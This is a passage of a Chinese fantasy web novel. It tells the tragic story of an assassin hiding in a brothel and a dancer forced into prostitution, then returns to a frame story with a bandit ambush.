“冷秋死了,你好像并不伤心。”阿由坐在梳妆镜前,任对方为自己编织头发。
“我不喜欢她。”夏来拿了根金钗,轻轻插进对方发间,“她以前经常欺负我。”
她的语气没有丝毫起伏,但能不喜欢到看着对方被杀死却没有反应的,估计是很严重的欺负。
“我叫夏来,夏天到来的那个夏来,你在这有什么问题要第一时间找我,不要被发现了。”
夏来看着铜镜里的对方,眯着眼睛笑了笑,好像透过那副捏出来的脸看进下面真正的面目。
阿由颇不适应地扶了扶头,发间繁杂多样的发饰让她觉得自己在顶着一块重物。
“冷秋就是这样,恨不得将所有珠宝首饰搭在身上,让所有人看见会发光的自己。”夏来耸耸肩。
“我带你去冷秋的房间吧,顺便带你认认人。”她自然地扶起对方,“我会给妈妈说你不舒服,你就在房间里养伤,我会常来看你。”
出了房间,便是一条朱漆雕花的宽阔长廊,廊柱间悬着茜素红的轻纱,飘飘欲卷。
扶着围栏可以看见下方的歌舞场,周遭罗列着筵席,宾客们的身影在灯影里斑驳驳驳。
劝酒声、调笑声、喝彩声、丝竹声……汇成一片喧嚣的浪潮,混着各种香卷上二楼。
夏来刚将对方送进冷秋房间,房门还没关紧,两个人影忽然出现在身前。
夏来心中有事,对方的突然出现让她吓了一跳,差点跳起来。
“你瞎叫什么!”面前的女人蹙眉,不满道。
“我……”
“你鬼鬼祟祟地在冷秋房间做什么?”女人可疑地看向对方,刚好房间未关紧,一把撞开对方推门进去。
一进去,便看见半躺在床上的冷秋。
女人微微一愣,“你在房间里?那你……”
她又扭头看向夏来,眼里的震惊几乎要溢出来。
夏来脑子飞转,忙道:“我不小心绊倒冷秋,她脚崴到了,我刚扶她过来休息。”
“不小心,你故意的吧?”
谁都知道夏来和冷秋的关系一向不好,她们怎么会相信对方是“不小心”将对方绊倒。
“要说出去说!”“冷秋”突然出声。她记得夏来给她说过冷秋的性格,仔细揣摩,如果冷秋就在这,应该就会说这样的话。
两个女人吓了一跳,总觉得对方比平日还要凶些,那眼神让她们心里一寒。
冷秋的性格最是跋扈张扬,另外两个女人闻言,沉着脸将门关上。
夏来扭过头,转身离开。
“装什么装!”在她背后,身穿淡绿色衣裙的女子不满道。
“就是。”另一个穿白裙仿佛不染纤尘的女子附和道。
绿衣女子继续道:“打什么卖艺不卖身的招牌,瞧不起什么人,自以为清高。”
她们低声骂骂咧咧地离开。
阿由靠着床头,缓缓闭上眼,身为刺客,她的听力比一般人敏锐,屋外那些话,自然是一字不落地灌入耳中。
她对这些没兴趣,也没精力了解一个陌生人的遭遇,她现在要做的,就是赶紧养好伤,再去将刺杀目标结果了。
30. 妓女与刺客(3)
因为“冷秋”受伤,夏来好说歹说,妈妈才让对方休息一天。
而到了第二天,妈妈说什么也不准了,眼见着就要冲进冷秋房间,正在台下调琴做准备的夏来见状,一个跨步冲到对方身前。
“妈妈!”她急忙大喊一声,微微抬起双臂,“妈妈是去找冷秋吗?”
妈妈抬着团扇一把扇开挡在前面的手,一道理目光都未留给对方,“我这可不养闲人,就算脚断了也得给我爬出来接客!”
夏来手背一阵火辣辣的痛,她来不及瞧是不是破了皮,拔脚跟上。
“冷秋脚还严重的,我替她上场。”
妈妈脚步一顿,扭身看着面前的雏儿,手中的团扇半遮下巴,将嘴角的笑意藏住。
“你?”她发出冷冷的笑声。
“我。”夏来眼神坚定,见对方态度有些松动,忙点头道:“冷秋的舞我也会,妈妈信我,不会搞砸的。”
“哼!你们姐妹俩什么时候关系这么好了?以前不还常常撕脸吗?”
夏来一噎,吐吐吞吞道:“我,毕竟是我,她的脚才会崴到……”
“罢了。”妈妈叹了口气,“好像我是什么不讲理的人似的。那便你去吧,赶紧上台,莫让老爷们等急了。”
“啊好,我这就去!”夏来提着裙摆飞快跑下楼,丝毫没察觉异常。
身后人露出一抹微笑,停留在她背上的视线像黏液般让人犯恶心。
阿由不知何时出现在长廊旁,靠着围栏侧头,视线落在一楼的圆台上。
在红毯铺就的上面,夏来一身红色单薄纱衣,舞姿灵动,妩媚中却又带着些单纯。
台下的客人大声叫好,疯狂朝台上抛掷绢花。
夏来就在一片花雨中舞动,身姿优美,如一只翩翩起舞的蝴蝶。
阿由抱臂靠在一根木柱上,出神地看着。
夏来扶起一面轻纱,在舞台中央旋转,鬼使神差地抬起头,对上楼上人的目光。
她愣了一下,旋即粲然一笑。
阿由动作一僵,缓缓放下手臂,不自然地偏过头。
这时,夏来一舞毕,施施然下台,唯留漫天红花缓缓降落。
她提着衣裙挤过人群,匆匆忙跑向楼梯,刚搭上扶手,忽的被一只戴满玉镯金链的手握住。
“诶哟!不愧是妈妈的好女儿,这舞跳得真好!”妈妈满脸笑意道,眼角的皱纹都舒展开。
夏来僵硬地扯出一抹笑容,“谢谢妈妈,我想上去休息一下。”
“好好,要是冷秋还是不舒服就让她继续休息,你下来替她就行。”
这正是夏来希望的,闻言点头应道:“是。”
她说完就想走,却被妈妈拉住手。
妈妈兴致颇高,不停地说着之后的舞蹈安排。
夏来僵硬地点着头,她抿着唇,悄悄朝楼上看了眼,只看见一个熟悉却又不太熟悉的背影。
阿由刚进屋,便见两个女人气势汹汹地进来,手里的绢子被揉成一团,似有无尽怒火在胸口撞击着。
“我就知道这贱人没打什么好算盘!”穿绿色衣裙的女子恨恨道,她看向坐在床前一言不发的人,咬牙道:
“冷秋,你就这样让她跳你的舞,抢了你的风头?”
“不然呢?”“冷秋”抬头看她,冷冷道:“我脚崴了,难道你希望我上台出丑?”
阿由对人物性格的揣摩极强,之前在各种刺杀任务中也扮演过各种人,因此在伪装冷秋上格外自然。
绿衣女子一噎,“可是,可是也不该抢你的舞啊……”
不知为何,她有些不敢看对方的眼睛,虽然对方平日说话便像吃了火药似的,今天的话其实还不算太重,但就是莫名的让她害怕。
“冷秋,她是不是对你做了什么?”白衣女子轻皱着眉头。
“你觉得我是好惹的吗?”冷秋哼哼道,“等我脚好了,非要给她一个好看。”
站在对面的两女子悄悄换了个眼色,绿色衣裙女子似乎松了口气,笑道:
“那就好,那你好好养伤,妈妈该叫我们了,就先走了。”
夏来好不容易摆脱了妈妈,迫不及待推开门,猛的与两个人对上,差点撞在一起。
“晦气!”绿衣女子翻了翻白眼,撞开对方离开。
夏来皱了皱眉,不过她已经习惯这些,丝毫没放进眼里。
她抬脚进屋,看见坐在床上的人,问:“觉得怎么样?还难受吗?”
“可以。”
夏来笑了笑,“我与妈妈说了,你养伤的日子我替你上台,跳舞嘛,我也会。
“但这样下去也不是办法,妈妈不会让你一直待在房里,你……”
夏天看着对方,眼帘微垂,其实她想问对方什么时候能养好伤离开,带她离开。
但话到嘴巴,又被她换掉,说:“之后你还是下去转转吧,喝点酒聊聊天就行,其他的我来。”
“可以。”对方依旧这么回答,好像对什么都不在意,像一只偶然停留在这里的鸟,就算被发现也能随时离开,不用去管后面的烂摊子。
“你闷不闷?要不我陪你聊聊天吧。”夏来看着对方,将自己想听对方说话的想法暴露无遗。
“……聊什么?”
瞬间,夏来脸上绽出笑容,将梳妆桌前的椅子拖过来,坐在床前,双手乖巧地放在大腿上。
“你能说说你在外面去过什么好玩的地方吗?”夏来不好意思地笑笑,眼里却闪着光,“要是我出去了,我也想去看看。”
阿由嘴巴张张合合,她突然发现,自己好像从来没有去注意过沿途的风景。
好玩的地方?她去过什么好玩的地方吗?
隐机楼算吗?她在那里打败一众高手,每一天面对的任务都不同,惊险又刺激。
夏来眨巴着眼睛看着她,等着对方开口。
想了又想,阿由半回忆半编地道:“有一座灵山,那里灵气充沛,听说里面居住着许多小妖。”
“妖!”夏来捂嘴。
“半山腰就有座妖村,里面全是妖。”阿由努力回忆,她许久前遇见过一位降妖士,听对方聊过,但当时她并不感兴趣,听进去的不多。
“听说,妖村里来了位教书先生,是人,因为看不见,没有发现周围的学生是妖。”
夏来惊讶得睁大眼睛,“真的吗?后来呢?”
“后来,一个降妖士路过这里,将妖都杀了。”
“那先生呢?”
阿由记得降妖士没要先生的命,但之后先生如何她就不知道了。
“应该离开了吧。”
夏来呼了口气,笑道:“外面还有这些事啊。”
又坐了会,阿由不停说着外面的风景与故事,说到最后,她干脆直接编了起来。
也许这次离开,她会在路途中留意这些东西。
听完,夏来满足地站起身,“那你好好养伤,我先下去了。”
之后几天,阿由一直待在
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屋中,她从未想过有一天自己能卧在软榻内养伤。
以往,她都是带着伤继续任务,偶尔休息一两日,也得自己爬起来训练。
刺客从不会睡软榻,因为太舒服了,一旦陷进去,就会失去警觉。
她抽出许久未握的佩剑,摩挲着剑柄的纹路。
嘎吱——
夏来推门进来,语气较平日的活泼低下去许多,“今晚我要替冷秋上台,那支新舞我都还不熟。”
阿由扭头,见对方低垂着脑袋,满脸倦色。
“我能帮你什么吗?”她问。
闻言,夏来咻地抬起头,眼睛亮了亮,“你是刺客,身手肯定好,不如帮我纠正些动作吧。”
阿由想,刺客身手灵活,与舞者身体灵活,好像不能联系,不过对上对方眼睛,她竟无法拒绝,只能道:“我试试吧。”
“好!”夏来拍了下掌,退后一步,呼了口气。
接着,她缓缓展开双臂,腰部随之扭动,动作轻柔中带着坚韧,像拂在湖面的柳枝。
阿由看着,时不时点头,或者喊道:“等一下。”
她上前一步,握着对方纤细的手臂,往左移了些,道:“这样轻松些,之后你旋转时带起来的纱巾也不会绞在一起。”
夏来鼻尖微动,闻到对方身上一股冷香,像晨曦初露时去林中逛了一圈,沾满了寒气与花卉初吐的馨香。
明明同在这胭脂场里,对方却像生活在林中般。
“怎么了吗?”阿由见对方没反应,收回手问。
“啊?”夏来猛地回过神,忙道:“没有没有,我记住了。”
她笑道:“来找你果然是对的。”
阿由点头,看着对方继续动作。
她垂下手臂,轻轻握了握拳,回想握住对方手臂时感受到的粗细,对方的手臂很细,舞动的动作却很有力量,像要挣脱什么。
一舞毕,夏来轻喘着气,笑得无比畅快,“感觉比原来的要好。”
“嗯,再练两次熟悉一下,”阿由点头道,“记得别练过头。”
“知道了。那……今晚,你记得来看我跳舞。”夏来眸中含笑。
今夜的春香楼就像夜间的明珠,大门的灯笼高挂,刺破这夜间的静谧。
门前陆续有豪华马车停下,下来一位老爷或是风流公子。
楼内,是与外面截然不同的空间,暖流携带着温香在楼内旋转升高,薄纱从二楼垂泻,将一切笼罩在暧昧的朦胧中。
夏来登上圆台,舞纱、旋腰、抬眸、轻笑,每一个动作都激起台下万千声浪,数不清的玉佩被风流公子们扔上台,各种金钗玉镯被老爷们挥霍出去,只为求得台上人再轻舞一次。
台旁的妈妈喜得忘了礼仪,笑得全身止不住的颤抖,毫无疑问,这是春香楼最火热的一天,也是它名震国都的一夜。
“妈妈。”一个仆从端着托盘过来,轻声道:“赵老爷让我将这个交给您。”
妈妈瞥了眼托盘里的东西,不过三袋一看便有分量的钱袋。
她轻笑一声,“早有人开出了更高价。你去给他们说,还剩半个时辰加价,都抓紧了。”
这是夏来跳得最尽兴的一次,虽然台下人群涌动,都用露骨又贪婪的目光看着自己,将视线化作钩子,好像要将自己的一层皮勾下。
但好在,还有人只含惊叹与赞赏地看过来。
她就在楼上,眸光清澈,将山间的清风带给了她,让她体验到自由的感觉。
31. 妓女与刺客(4)
舞毕后,夏来被迎下圆台,被人群推搡着,等她回过神,发现自己坐在一位老爷旁。
她被对方露骨的眼神吓得噌的站起身,下一秒却被一只手按住肩膀按回座位上。
这只手的力度极大,指间戴着的戒指硌得她生疼。
她知道这是妈妈的手,也知道对方动作上的意思。
她强忍着端起酒杯,正要按以前学的说几句感谢捧场类的话,一只肥手忽然摸上她大腿。
她心里一阵恶寒,身后的人再次按住她肩膀。
“诶哟!钱老爷可算来了,夏来可天天念叨您呢!”妈妈从背后转到身旁,手依旧搁在夏来肩膀上。
大腿上的手在往上游走,夏来一把将其拉住,将酒杯塞了进去,僵硬地笑道:“钱老爷,请喝酒。”
“哦好好好。”钱老爷美滋滋饮了酒,将身体倾向对方,手绕到了夏来背后。
夏来猛地打了个冷噤,仿佛一条毒蛇爬上她后背,冰冷又黏腻。
她忍了又忍,对方却一次次得寸进尺,最终,她一把推开对方,猛地站起身。
“别碰我!”她恶心地大喊。
椅子被她带着倒向地面,发出“砰”的一声震响。
周围的笑语瞬间消失,弹琵琶的姑娘指尖停在空中,慌忙送酒的小厮顿住脚步……所有人都将视线投来。
“完了!”夏来后一秒反应过来,心道。
砰——
乌黑色大门在她面前被重重关上,黑暗一下子席卷而来。
夏来麻木地站着,良久才叹了口气,熟练地走到墙边,捞过一只木凳坐下。
她托着脸颊,听见墙角老鼠乱窜的细响,开始发呆。
她习惯了,忘了这是她第几次被关小黑屋。
这没有什么不好,她宁愿待在这里而不是出去接客,只是……
她为了练舞一整天就只吃了一块糕点,现在胃就已经不好受了。
她缓缓闭上眼睛,希望以此来度过接下来的几个时辰。
这个姿势怎么睡都睡不踏实,迷迷糊糊间,她听见极轻极轻的声响,她没当回事,只以为是老鼠猖狂,直到一只手覆上她额头。
她茫茫然抬起头,在一片朦胧中,撞进另一人眼中。
“额头不烫,没着凉。”阿由收回手,半蹲着,问:“有不舒服吗?”
夏来迟钝地摇头,终于惊醒,“你怎么来了?”
“我来看看你。”阿由将火折子打开,暖橙色光线霎时间扑在夏来脸上,在她眼球上跳跃。
“你怎么进来的?”
阿由在光线中看见旁边还有把凳子,一把拉过来与夏来靠墙并排坐着,将火折子往上抬了抬,照亮房间远处一角一扇被锁住的窗户,回答:“从那里。”
“原来是这样。”夏来抱住膝盖,将下巴搁在上面,侧脸看向对方。
对方的脸被光亮与阴影装饰得斑驳,眉头总是微皱着。
“我给你带了些吃的。”阿由被看得有些不自在,忙起话题,从胸口摸出一包被黄纸包好的油饼。
“哇!我正好饿了!”夏来双手接过,笑得眼睛弯成了月牙。
她咬着饼,满足得摇头晃脑。
阿由沉默地坐在一旁,目视前方黑暗,不知在想些什么。
不知过了多久,吃东西的声音已经没有,取而代之的是轻微平缓的呼吸声。
阿由突觉肩膀一沉,一扭头,蹭到一颗毛茸茸的脑袋,鼻息间全是股淡香。
应该带张毛毯来的。她想。
夏来不知道自己睡了多久,她睡得太沉,很久没睡得这么安心了,虽然周围环境并不好。
她是被一声砰响震醒,门开了,刺眼的白光一下子打进来,照得她不适地眯了眯眼。
“出来吧。”开门的小厮对她道。
夏来扭过头,身旁早已没有那人痕迹,就连她扔在地上用来包饼的纸也没了踪影。
一切都像个梦。
“磨蹭什么呢,赶快出来!”小厮不耐烦道。
夏来起身离开,门在身后被关上。
许久,阿由才从木架后出来,翻向那扇生锈的窗户。
之后几天,夏来就在不停跳舞,不停陪酒。
这日结束,她正要回到楼上休息,妈妈突然拦住她,压着笑声道:“女儿啊,你也长大了,今晚上有位权势滔天的爷看上你了,你乖乖的,把他伺候好了,啊!”
夏来恍遭雷击,一时还无法从刚才的喜悦气氛中脱离出来。
她怔了又怔,差点大喊出来,但声音依旧不低,“妈妈,我说了我卖艺不卖身!”
妈妈脸色瞬间变化,被描黑的眉毛紧紧皱起,声音跟着拔高,“今晚这位客人,是花了真金白银买了你的‘□□’礼。
“你平日不懂事也就罢了,在这么个地方,还想着什么卖艺不卖身,说出去简直笑掉大牙。”
夏来脸色惨白,“妈妈,你答应我了的,你不能食言。”
妈妈呼了口气,“是,我是答应你了,那你去把冷秋叫下来接客,就算腿断了,客人也有的是花样玩她,到时候知道你不肯,估计玩得更狠些。”
妈妈气得胸口剧烈起伏,而夏来的脸色却是白了又白,双腿发软。
她脑子一炸,烟尘后只有一个念头——
不能让阿由去,阿由伤得还重,也不能让她被发现。
她神色上的犹豫太过明显,妈妈好整以暇地等待对方回答。
夏来茫茫然的,好像灵魂脱离了躯壳,她看见自己的身体定立在那里,僵硬地起合嘴唇,发出声音:
“我……我去。”
瞬间,飘至高空,被清风拂得歪东歪西的灵魂,骤然坠落,深深跌进泥潭。
……
阿由看向木门,盯了两秒,又移回完全打开的窗户上。
外面群星璀璨,终于让她回想起,许多年前,她去过一个被繁星笼罩的小天地。
嗯,应该算一个好玩的地方。
不由地,她嘴角勾起一抹笑意,再次将视线转向木门上。
但门依旧紧闭,透过墙,外面长廊声音由嘈杂变为安静,但从未响起那个人的声音。
这不对劲,阿由一直在等对方出现,因为她知道对方会蹦蹦跳跳地和她分享今夜舞台上的喜悦。
“她一直在装清高,现在还不是和我们一样!”
阿由精神一振,这是那常穿绿色衣裙女子的声音。
也是昨日,她听夏来说起,妈妈将对方、冷秋和门外两位组成“春夏秋冬”,着装亦有固定要求,算是春香楼内一组头牌。
“卖艺不卖身?呵!”春临狠狠啐了一口,“立什么贞洁牌坊?”
霜冬一路沉默着,悄悄叹了口气,感叹道:“以后大家都一样,不必再互相为难。”
两人从门前路过,谈话声渐远。
仿佛心脏被用力一捶,阿由噌的站起身,大脑一片混沌。
她推开房门,按照记忆来到夏来房间,推开了门。
屋内一片暖黄,几支蜡烛绽出缕缕光线。
她站住脚
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,聆听周围一切细微声响,忽的,捕捉到一丝水声。
房间右边往里,一面雕花屏风后便是沐浴之地。
阿由整颗心提了起来,抬脚走去。
里面更显的昏暗,除了几点昏暗烛光,只有皎皎月光穿过窗户投进来,为眼前一切添了些霜寒。
夏来就坐在浴桶中,抱紧了自己,好像不堪忍受月光的寒冷。
“夏来。”阿由轻轻换了一声。
夏来猛然一惊,扭过头,眼眶通红,声音嘶哑:“阿由——”
阿由心脏绞痛得难以呼吸,一把将对方抱住,“别怕。”
“阿由,我脏了。”夏来在她怀里呜咽。
“你是干净的,无论是身体还是心灵。”阿由更加用力地抱住对方,衣袖垂入浴桶,被水浸湿。
“我才是肮脏的人。”
她滚过泥,染过血,杀过人,像她这样的人才是肮脏的。
夏来失声痛哭起来。
“你睡一觉,天亮前我带你离开。”阿由轻声道,却又无比坚定道。
“可你的伤……”
“不碍事。”阿由扯过挂在木架上的浴布,将怀里的人包住。
“水凉了,起来吧。”
夏来被对方抱住,困意很快将她淹没。
她感到身体忽然变得很轻,接着落入一片柔软中。
阿由为她掩好被角,起身想去备一份热茶放着,余光一瞥,注意到桌角一处闪光。
好像……是一块玉佩。
她没多想,顺手将其捡起,却在看见上面字的一瞬间愣住。
“张……”
她摸着玉佩上独特纹路,猛地将其紧紧攥在手中。
“张太严!”夺了夏来清白的人,也是她上次刺杀失败的对象。
夏来沾上床便沉沉睡去,她实在太累,情绪的冲撞让她疲惫不堪。
窗外很快亮了起来,日上三竿。
阿由将早点端到卧房,正好夏来醒来,满眼迷茫地看着她。
“吃点东西吧。”阿由将早点放在木桌上,走过去将对方扶起。
夏来望了望四周,视野内是熟悉的环境。
她迟疑地看向阿由,问:“我们不走了吗?”她语气小心翼翼,目光微微瑟缩。
“要走。”阿由道,“午时我便送你出去。”
妓院生意最热之时是夜晚,正午时反而最为冷清。
夏来好像察觉什么,轻轻拉住对方衣袖,“我们一起。”
“我天亮前会去与你汇合。”阿由拉过对方扯住她衣袖的手,将另一只手里的碗塞进去,“先吃一点东西。”
“你想做什么?”夏来心提了起来,固执地盯着对方。
阿由将语气放轻松,装作轻描淡写道:“有个刺杀任务,目标今晚会出现。”
她去后厨端早点时专门打听过,今晚,张太严还会来。
这是个机会,是命运红线缠绕而成的一点,连通了三人的命运。
夏来突然想起与对方初见时的晚上,对方一身的伤,奄奄一息。
刺客,一听就是高危职业。
“一定要去吗?”夏来握着瓷碗的手不由得收紧。
“放心。”阿由注视着她的双眼,认真道,“这是最后一次,结束后我陪着你游遍天下如何?去各种好玩的地方。”
夏来缓慢又沉重地点头,低头将碗里的粥喝掉。
看着对方的动作,阿由握紧了拳头,就算不为刺杀任务,毁了夏来清白的人,她也得让对方付出代价。
32. 妓女与刺客(5)
阿由早已将离开路线规划好,将行李等打点好,暂时落脚处也有了打算。
一切都很顺利,有阿由在,好像没有什么困难。
夏来被送到小巷内一处废弃屋子里,她铭记阿由的叮嘱,躲在一扇暗门内,等着天黑后对方来接自己。
夏来抱紧包袱蹲在房间一角,心跳声在这片空间内显得尤其明显。
她不知道时间流逝了多久,也看不见窗外的天色,整间屋子,只有几缕从板隙挤进来的光线能让她估摸下时间。
腿部很快发麻,恍若万千针扎,但她没动,害怕发出一点声响,到最后,腿部已经没有了感觉。
投进来的光线染上黄色,表明着太阳落山。
又过了许久,没有光线投进来了。
随着时间继续流逝,一缕缕莹白色月光扑进地面,月亮升了起来。
咕噜——
肚子发出声响,胃部一阵绞痛,夏来闷哼一声,痛得她直皱眉头。
她从前常常饿肚子,无论是为了练琴没时间,还是因为不听话被关黑屋子,都让她的胃损伤得厉害。
“包袱里有饼,饿了记得吃。”
阿由的声音回荡在耳边,夏来望着眼前的昏暗,缩了缩身子,将包袱打开。
她捧着饼,味同嚼蜡般吃着,她告诉自己要多吃些,吃饱了,之后逃跑也不会拖阿由后腿。
打进来的月光越发皎洁与浓厚,其中细细一道打在她面前,落在她搁在脚尖前的包袱上。
有什么东西一闪而过,发出晃眼的光。
夏来停下咀嚼的动作,伸手摸索,拿起一块冰凉的物件。
在看见那东西的瞬间,一股恶心直从胃部泛上喉间,恐怖的回忆席卷而来。
她猛地甩开玉佩,忍不住吐了起来,吐到最后只吐出些胃酸。
玉佩上的“张”字像带着刺般,深深灼痛她的眼睛。
“阿由……不会是为了我……”
细细回想,确实有许多不对劲,为什么在即将要带自己离开时要去完成刺杀任务,阿由这段时间一直在自己身旁,又是什么时候接收了刺杀任务?
她按自己逻辑想着,脸色逐渐惨白。
夏来猛地站起身,大脑一顿昏厥,等她稍微稳住,连忙钻出这小小的空间,跑出屋外。
对方应该早点和她说的,就算对方坚持要去杀他,自己也可以给对方提供些信息。
那个男人四周全是暗卫,就算是做那种事,也有暗卫护在床前。
阿由身上还有伤,如果不是因为自己,她应该在楼内将伤完全养好的;要不是自己,她也不用费心思带自己离开;要不是自己,她也不会带着伤去完成刺杀……
“不要,千万不要!”夏来再也忍不住哭出声来,朝着小巷外奔去。
月亮半挂,还有时间,还有……
铿锵——
阿由一个旋身后退,手里提着一颗脑袋,脑袋脖颈处是光滑的切面,鲜血汩汩涌出。
她嘴角扬起一抹痛快的笑意,猛地将脑袋砸向面前的几个黑衣人,转身跳窗离开。
然而,没等她跑出多远,数道黑影瞬间将她追上。
她猛地刹住脚,看着不知何时出现在身前的死士,皱了皱眉。
不知不觉间,她竟被包围。
刀光剑影瞬间而起,她侧身躲避,佩剑飞舞。
然而,四周人数太多,刀剑织成天网将她盖住。她避无可避,全身血肉绽出血花。
本就未养好的身体濒临极限,透过月光,视线落在死士衣饰一角一抹红上,原来是红枫山庄培养的死士,难怪实力这么强。
她扯了扯嘴角,脸色忽的一白,猛地吐出一口血。
眼前开始阵阵发黑,脑袋变得格外沉重。
她握紧了剑,强撑着站起身,还有个人正等她赶过去,她绝不能栽在这里。
最后的力气被压榨出来,她破开围攻,跃进黑暗,朝后院跑去。
死士紧追不舍。
寒芒在背,数道冷光寒气破风而来!
阿由转身挥剑,只闻“噗嗤”一声,是箭刃破开血肉的声音。
她下意识低头,没看见伤口,有所察觉般,转过身,一个人正好倒下,倒进她怀中。
“夏来,你,你怎么在这?”
她声音发颤,目光顺着箭刺来的方向,看见院墙上的黑影。
夏来浑身湿透,胸口处的鲜血在为了伪装而穿的灰色麻布衣服上晕染开,开出一朵极灿烂的血花。
阿由一把抱住对方,左右一瞥,朝着一个方向奔去。
后院堆放着不少杂物,在黑夜中像鬼魅般从地面拔高身体。
夏来低头一看,胸口开始溢出黑色。
她委屈,难过,她不想死的,她想离开这,她想和对方一起平平安安地离开这。
但若是只有一人能离开,那她希望是对方。
“后厨那的池塘是活水,通外面的河道,可以从那里出去。”
夏来断断续续地说着,每一张口,便有大股黑色鲜血涌出。
“先别说话,我会带你出去。”阿由道。
夏来自顾自说着,“我以前悄悄从那里出去过,但不能待太久。
“我是奴籍,跑到哪里都是被困住的,但我还是想和你出去看看。”
一道火光划过黑夜,砰的砸落在后院堆积的杂物上,火势瞬间而起。
火光将夏来的眼眸照得极其明亮,她怕对方听不清,努力撑起身凑在对方耳旁,说:“往后走,从池塘那出去。”
阿由没回应,她手忙脚乱,终于从衣服暗层里摸出一瓶药丸,“来,吃了就好了,我们一起出去。”
夏来笑了笑,乖乖将药吃了,但刚入嘴,却被她一个咳嗽夹杂在黑色血里吐了出来。
她剧烈咳嗽,但渐渐的,咳嗽声音小了,就连呼吸也弱了下去。
明明,马上就要离开了。
周围的温度骤然升高,等阿由回过神,火势滔天,将黑夜烧成白昼。
她抱紧安静睡着的人,朝后院池塘走去,一步一步,并不着急,哪怕阎王爷在后面加快步子跟着,也不当回事。
她抱着对方,正要跳入池塘,旁边燃烧的木架忽的坠落。她下意识将对方护在怀里,被木架撞击着滚出去。
“我被砸入水中,脑袋被猛的撞击,陷入昏迷,再醒来,已经离开
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了春香楼。”
阿由说完,再次垂下了头。
“嗯嗯,故事说完了。”孟梨食点点头,“所以,你需要我帮你找到她的尸骨是吧?”
阿由猛的抬头看她,“是,我醒来后第一时间回到春香楼,那里的后院已经成了废墟,我怎么找都找不到她的尸体。
“我答应了带她离开的。”
“简单,我帮你找。”孟梨食说完,抬起右手,念道:
“因果未结,因果线连!”
红线骤然出现在她手中,一端没入阿由胸口,另一端延伸出去,不知去到何方。
孟梨食猛的拉住线,用力一扯,有什么东西被她扯了过来。
下一刻,地面浮现点点橙光,一具被烧黑的尸体出现在众人眼中。
骤然看见这样一具尸体,小魂和江余客都有些心惊,阿由则是瞬间红了眼眶,一下子跪趴在地。
她伸出的手颤抖着,轻轻摸上夏来的脸庞。
“是我害了她……”她发出细密的呜咽,像永远不会停下的雨。
“我知道你心很痛,买碗忘情水吧。”孟梨食放缓声音道。
阿由摇头,“我没法忘记她,我会永远记住她。”
明明记住她是件很痛苦的事,为什么还要自找痛苦呢?
孟梨食看着对方,心中疑惑。
“算了吧,梨食,走了。”小魂喊道。
它最是巴不得孟梨食早点卖完忘情水早点回到地府,但现在,它却不想多劝对方去卖水。
“走吧。”江余客声音沉重,心情低落。
孟梨食皱了皱眉,看着他们,又看了眼准备带着尸体离开的人,撇了撇嘴。
“好吧,我要离开这伤心之地。”
大城市伤心人确实多,但心硬的人更是不少,她从现在开始不喜欢这个地方了。
“要出城吗?”江余客抬脚跟在对方身后,语气里带着些喜悦。
“怎么,你很想出城?”孟梨食瞥他。
“我是个侠客,自然要闯荡江湖,四海为家的。”
“闯荡江湖?”孟梨食琢磨着,笑了,“江湖之大,何愁没有伤心人呐,走!”
说走就走,考虑到城外几十里都是山,江余客租了辆马车,准备了些路上吃食。
孟梨食可疑地看着他,忍不住问:“你哪来的钱?难道劫富济贫济到你自己身上了?也是,毕竟你也挺穷的。”
“钱是比武大赛赢的,劫富济贫的钱怎么可能花在自己身上。”
江余客看着她,无比认真道:“虽然我穷,但我有手有脚,随时可以找活干,贫是指想干活养活自己都没法的人。”
孟梨食不在意地“哦”了声,上了马车。
马车不疾不徐地驶出城门,驶入一片盎然的绿色,不知驶了多久。
孟梨食撩开帘子,路旁树木劲拔翠绿,清风从林间灌来,拂在脸上轻柔舒爽。
“真不错。”她感叹一声。
哪知她刚感叹完,一道劲风忽的袭来。
余光一瞥,她连忙侧过头,一把飞镖近乎擦着她脸而过,狠狠插进车厢内。
马车剧烈震动,将她一屁股颠回座位上。
33. 药童与小草妖(1)
“梨食,有山匪!”小魂的声音灌入耳中,紧接着,窗外响起刀剑碰撞声。
小魂“嗖”的一下顶开马车窗帘钻了进来,“啪”的又一声贴在正欲探头瞧个究竟的孟梨食脸上。
“我……”孟梨食被撞得往后倾了倾,一把将脸上的魂撕了下来,扔在一旁。
“你太重了!”她抱怨道,重现探出头,手指一勾,数根红线如虹贯出,瞬间将冲上来的几个山匪绑成粽子。
“魂是没有重量的。”小魂嘀咕着反驳,撩开车厢正面帘子出去。
便见车外一片混乱,江余客手持轩辕剑,以一敌众。而视野右边,几个舞斧的大汉叫嚣着冲来,却被红线捆住,一个身形不稳“砰”的倒地。
江余客被困在中间,七八个山匪围着他挥刀怒吼。
他抬剑抵挡,剑身绽出光芒,剑罡四散,直将对面的人逼飞数米。
“找死!”视野盲区,一柄刀刃裹挟着冽风落下。
江余客急急转身,却不料被那利刃在胳膊上划出一道狰狞血口。
他抬剑压下对方的刀,抬脚将这虎背熊腰的大汉踹飞出去。
刚飞一个,另有数个围了上来。
江余客右手有些失力,将剑换到左手,轻微喘着气。
小魂吓了一跳,一把冲了过去,直直穿过了最前面的男人,飞过了头。
“忘记凝形了!”它猛然一惊。
那大汉浑身一震,仿佛被扔进极寒之地,那股寒意是从骨子里涌起来的。
就在他晃神之际,江余客抬脚狠踹,挥剑再次逼退众人。
孟梨食从马车内出来,掌心的红线拖曳在地,末端缠绕在几个大汉身上。
山匪们面露惊恐,没想到碰到了硬茬,他们缓缓后退,互一点头,一个转身飞奔入绿林中。
孟梨食手腕一松,红线霎时消失,被缚着的几个人狼狈地爬起身,大喊着跑进林子里。
“妖怪啊!”
“妖怪?什么!”孟梨食瞬间睁大眼睛,眼见着就要冲上去将那几个人揪回来再好好教育一顿,小魂连忙将其拦住。
“别气别气,凡人而已,哪知道你的大名。”它劝解道。
孟梨食重重一哼,扭头看见江余客捂着右臂,左手被鲜血浸染。
“伤得这么重?”她皱眉,“你带药没?”
江余客摇头,“没。”
“你一个行走江湖的侠客不贴身带着药?”孟梨食难以置信,甚至是有些无语了。
江余客想解释,他那些药都用来救治别人了,忘了补充。
他还没来得及说,孟梨食对小魂道:“你跟他治个伤,不然谁来驾马车?”
“啊!我吗?”小魂指指自己,一脸茫然,“我不会啊。”
孟梨食沉默,眼见着江余客的伤口处的血越流越凶,她就不应该把那些山匪放了,实在是太便宜他们了,最起码要像个山匪一样把山匪扫荡一遍。
“罢了,”她指使小魂,“你飞到空中看看四周有没有人家。”
“山匪出没的地方怎么会有人家嘛。”小魂嘀咕道,奈何迫于孟梨食的淫威,只得老实地飞到空中,朝四方张望。
